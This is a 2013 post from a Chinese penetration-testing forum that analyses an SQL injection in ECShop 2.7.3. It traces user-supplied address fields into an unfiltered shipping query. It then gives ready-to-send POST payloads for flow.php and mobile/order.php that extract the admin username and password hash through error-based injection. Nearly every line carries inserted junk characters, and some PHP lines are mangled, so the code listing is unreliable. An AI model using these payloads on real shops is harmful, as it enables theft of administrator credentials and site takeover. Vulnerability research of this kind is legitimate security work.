中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。; v8 P9 P3 S( }; Z5 N+ \

# [  a4 S" {8 V& R5 `7 F    漏洞关键文件:# q  P. B5 Q6 P) W

% N" t, t6 R; ^# j. ~# h" f# e# j# h    /includes/lib_order.php( T9 i2 y* M/ W8 `0 `  f8 A- ^1 l! K

, u4 s+ r/ X/ J: I# p) o    关键函数:
6 i$ h7 `9 w" T8 t7 \4 r; w) c  w" n0 m, Y* n
) z- x' h) y% B0 ]& b
, U& Y4 p' r9 w
01     function available_shipping_list($region_id_list)   ?. a8 H6 u8 h4 U% G$ G
8 X& |0 W8 h) C1 Y7 E$ V
02 { 0 A9 ^8 x8 E7 P
) O9 L' N4 [: n
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
# R" M+ v! h! Q; `' r0 V2 m$ m# x5 W5 @  Y
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . % L& {- a, d0 z6 A4 t& o; l4 `
$ m. N( d+ ~/ l9 Q9 I( t: ]2 ~
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . " v2 {7 l. ^! L# j) x

3 g' u9 L' ]2 a! ]( l  W06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . + V3 \: X1 u1 A
: f7 ]8 Q1 S% l! C: O5 O+ l* ^$ k
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
, ~# w6 l) f0 J: L
" S( r- I+ d) l! l3 e3 ^. `08             'WHERE r.region_id ' . db_create_in($region_id_list) . 7 x. z5 O) {, o

0 Y$ l$ E3 J6 b; k# [" m09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 0 c: e: r$ q8 X/ O; G* c' Z7 \

9 v: p) {: M+ y& `  \( X7 B0 {10   * n1 F6 K& w4 Y
+ \. p2 y. f0 o9 a* z
11     return $GLOBALS['db']->getAll($sql); - t. q  O+ g4 a6 G

+ Y7 ~# Y: d1 Z$ ~' ~1 R8 ?4 A12 } 7 _: E: |2 V* _

1 T0 s8 S  l3 O* b显然对传入的参数没有任何过滤就带入了查询语句。
$ c8 H  S' O; W2 i$ V, G6 G, Q
) s% R* B1 k7 G' _6 Z* n下面我们追踪这个函数在flow.php中:
# E  }, o% `, f8 D' i% { 第531行:   ) f! U" a& \4 g
# F5 D3 Q5 k5 Y5 k# K
1 $shipping_list     = available_shipping_list($region);
3 V5 Q" S7 d' Z' P* |/ `
9 v- M7 r# D% V: Z7 N& N/ S8 C   w6 X+ b$ N7 U6 ~  p- A

5 L" ^# F- r- _) [5 N/ q& s + o) v1 b; F: q9 V) {' k
) }7 j6 f' H+ {$ F
再对传入变量进行追踪:
/ _' b7 o$ U, h2 [" M
0 H$ e5 z7 d& j2 l第530行:    $ b4 _; h+ B9 I1 ~2 L8 f

) c" j% }* `4 x" ?+ R! O0 Z1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); & h- F8 j7 G/ @# Z

# c2 V' |+ M. ^7 M
8 X+ I2 }' J9 b  N+ U$ N- e3 D2 ~4 d+ u
+ H0 B) F" v7 M' c0 U& L' S ; A6 S+ T& ^) l0 U9 l; @
+ r& E7 S5 E" s7 V" s) j
第473行:        
- K( Z8 g" V' T! Q
/ q1 q* i6 C1 E2 T: U! a: F1 $consignee = get_consignee($_SESSION['user_id']);
" E1 w( |% M; O+ [; q/ u( {" ]0 P0 S, }- e3 p  s6 M
到了一个关键函数:
% k- A& o+ B, u  l2 C9 Q: c- W/ {( N- P) O3 R
/includes/lib_order.php  Q* c" L0 d4 ]2 u/ \
" D* A- a$ d& N3 W, F2 D) h

* m' l7 I6 F" B9 K0 S7 y$ ?
6 U# G4 r' f: m5 E, T2 i : K6 H$ D8 a) H: \7 @
4 T( p% l! A& p( m! c
01 function get_consignee($user_id)
" V0 D" E& |+ g- y, `! W7 }% z+ h- r: `6 K; u& A( `$ T
02 {
( ?/ ^& A9 v( Q6 C
" f6 A- `- d" B* V; c$ K03     if (isset($_SESSION['flow_consignee']))
, r, [: v3 f% k" p, i- F9 d3 J: r3 `% u- ]# ~8 T( x
04     {
  o# e% Z0 d. v$ B
% I- I8 W4 m+ s1 n# T' ^05         /* 如果存在session,则直接返回session中的收货人信息 */
& T; m9 x8 b: \7 b$ u" L* O5 Y, k0 i+ A6 X$ q5 Q. m. D
06   % U! a0 r9 n6 A; f6 V

+ R# @/ c! |& q4 J! C07         return $_SESSION['flow_consignee']; / g+ R& B) N, o0 h; r! u; ?6 v

' N6 |4 ^7 n5 h08     } " C, d7 H' F3 R! t0 H
8 ~9 i( S# U- G
09     else
% ?# b/ w+ Q$ c$ A, }. W& M0 ]3 J  B  f; L( }# g; I6 p
10     { * _; Y8 ^( v3 d
# [' f# C+ Q- a  o
11         /* 如果不存在,则取得用户的默认收货人信息 */ & u) ~: N  o1 k3 S3 C8 ^
+ M( @; B3 y( y4 o! ~- v
12         $arr = array(); - i2 g& K! E9 n, p$ n* |
# O% h4 s$ f( X0 g( b
13   
. M% B& K( s# T9 w- W* w; K0 A( s& ^7 g1 |! E; N( k
14         if ($user_id > 0)
2 m+ K" G- A& V, K3 @
; n) @8 K& y+ a, C15         {
  w7 I1 c) |" r
- J) l( O2 Z: f2 }& r) B4 t7 o16             /* 取默认地址 */
+ o  a  }4 |4 b  _6 Z. l3 Y# M
# t! g% Y6 Q! Q9 D( k! f17             $sql = "SELECT ua.*". 8 e9 r& R1 H8 u& \( q. A
: F0 N0 J6 D  p4 y& V
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
% y2 M- K- U' ~2 T
& y3 a$ j; k1 A6 N" ]6 y19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ! j8 e. o3 r7 q9 O+ |6 V. A% h
. N' D  _! B) k& v5 i0 ~: O# |1 d
20   9 C. t4 d& v. M0 [8 P: ?

9 g3 k$ H) \& p. n4 [21             $arr = $GLOBALS['db']->getRow($sql); ) D! t8 [5 T+ N) D( B- c
' a) b8 }# V+ ?0 o; `, x( w4 R
22         }
; ]( @0 P4 H+ U; {; ?! q9 w: \5 X/ b9 C% h3 P) m- T
23     T% v2 g" ~: I3 N: Q7 Q* ~
9 X! J: L. V8 P) Z* x4 V6 j
24         return $arr;
1 g0 {' t  l( P0 g1 k/ D! X6 Q" S% h1 [: K, [) h9 v+ p
25     } 3 H+ a9 L5 w/ r5 ^" v
$ O5 O, O5 p8 A' b2 z
26 } 8 \% w6 ?- H0 U2 G  }: m9 a! a
5 ]( h7 W! n3 h6 ]7 J9 S( X/ N" ^
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
+ i1 L7 x9 o  X5 k. B" y) Q0 y  m  v% S3 h8 m& m

8 v/ G" J# ?( M( P" w# j
6 Y6 h6 R  \0 g$ m9 I0 [- i关键点:+ L8 z0 g0 _# B  q

; B! c! |5 s1 s3 w6 I! |. q第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
1 [$ U* z, U7 ?; s1 q& s' ?" F
这里对传入参数反转义存入$_SESSION中。/ {& S. F0 s" E5 ~0 _: Q8 _  y
% C9 b& I  {4 y+ _* E8 C% J& K7 Y
& ?3 ?% ?+ H% R: ]$ n+ k, h8 e
# j# O" G( p5 U' X5 P4 d5 G
然后看下:2 t5 m) s3 _5 H9 e, p2 {& y5 ^

: q. g2 c9 j+ W : F6 U) Q8 f# `& i( p- r
% I5 b. ~0 @: j
   
( K! K. m1 h8 G( R3 Q9 ^# @2 x  B5 C5 \+ p& |
01 $consignee = array( 3 ~, d8 z) g( c3 }8 d( t# P. p4 t8 k

/ B8 K! y1 z: b! t( |02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
/ _: j7 R& i- w% x. r( d% n
7 j7 w) V+ Y  [- T% s0 z! Q03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 5 J; E( c8 R" h& E

8 i8 w$ ?2 v  p7 n04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
; S: o! A: f9 t9 {! c; _+ z3 Y& o0 [& D, S) g+ l6 G
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
& x2 ^, H% Q( @$ E/ v0 K0 J: S1 f
# i4 N  j% q' b. U& h4 O06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
* \- R5 x5 P/ ?4 d$ d2 [! J8 x9 Q2 g) T' q; }, O0 _7 f
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], $ v" ?: ?+ V4 u9 }8 Z$ T

: n7 n1 H, h& o08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
3 |$ D: D8 c' e; e) v2 G0 b4 z1 e4 A. Q9 A
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
. J) ^1 I2 l% P) W- }8 M# n% Q$ v! o( u
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), % W4 d+ \7 [/ l
( {" I& }- J2 w4 ?! e
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
- @! O# C8 e" a7 U, y
' Z- z- T1 ?4 g( B12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
/ s. k4 t! R% y3 V' ]" G3 e0 S; L( i) A3 w+ ^5 d0 R
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 6 j3 H) [2 T6 F3 \

3 Q7 m$ ~& W, g* N3 x: V14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ! ?# f) o1 N) E2 ~

7 Z) G4 e& K, P$ I15     );
$ `; }& P4 h; m, `
& P( Y- G+ [3 F' k3 _! K好了注入就这样出现了。
4 e1 i6 Z  m% G( f; L. v; V* w; U4 z2 s; z, Q. r4 p
==================" B3 V) c4 ?' G3 M9 W* R' `5 O, z' C
+ y' O. M2 r1 Y5 H$ J+ A2 B
注入测试:+ o7 z* v: i( ?# z

" Z# O! ^; r' v  J4 l- j环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)  ^/ u; O2 @, E( k% y( m9 }. u8 v
: K, y( u$ {3 v! |7 e
测试程序:ECShop_V2.7.3_UTF8_release1106
) f) v2 p( Q* W$ B; Y; i' Q2 w2 _  f% m* L* G
: J" ]( V" ]+ g' m& ]

; |" t4 c% \: x+ E1.首先需要点击一个商品加入购物车
; F; p; i+ ^7 Y$ w: @% x' G7 n. g- k' o; q/ ~1 @
2.注册一个会员帐号
8 l3 f: S# A1 ?" s( c' G; j5 i9 ~2 R$ f8 U
3.post提交数据
1 H" M/ m( {- `+ ^# |  Y7 v& I) q! t+ }

4 r& @( T% h2 P3 |: g* T% b0 C8 n' @- c: D+ F$ W
1 http://127.0.0.1/ecshop/flow.php , k3 O* S: A" ^& _0 ^5 t
+ r- V7 j$ p" }* K
2   $ M( s; A+ e: e) {: @

1 O0 e* W/ ~1 B! x. g; q3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
  F* K1 {; U' P& ^/ h举一反三,我们根据这个漏洞我们可以继续深入挖掘:: y  D1 ?* l7 Q( d5 O7 ~7 A

. ?; K: C+ E% d/ G' a* O# F我们搜寻关键函数function available_shipping_list()0 p$ {" ?3 K8 s& h

* K* P+ L9 O% c: D+ h8 u% m2 N在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同. A6 h) _3 @4 J9 o

6 m" I# W- k1 P5 U- z7 U利用exp:  e* i& @' x& U/ @* b2 G$ u$ s$ h- v
4 l0 Z8 m! U- f4 T# i
1.点击一个商品,点击购买商标: j8 v6 ~8 S( Z& r8 P$ L
$ o; N- x: N% c" g: K. o
2.登录会员帐号( O  D- c* \( G1 {; s

' F+ U5 L0 n1 N9 b  B3.post提交:
' Z/ P2 t, ~& u$ v% q; u
7 H* x- C9 Z4 S0 ~http://127.0.0.1/ecshop/mobile/order.php( g8 q* L% S: U

3 V  ~* s0 W8 ]( t 4 O3 W% K; M" Y' u, w
; m3 w* \, Z) K- Z
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=; F( {1 Q" N+ E/ _7 E% {2 y+ x
% A3 `8 w- i/ t) o





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2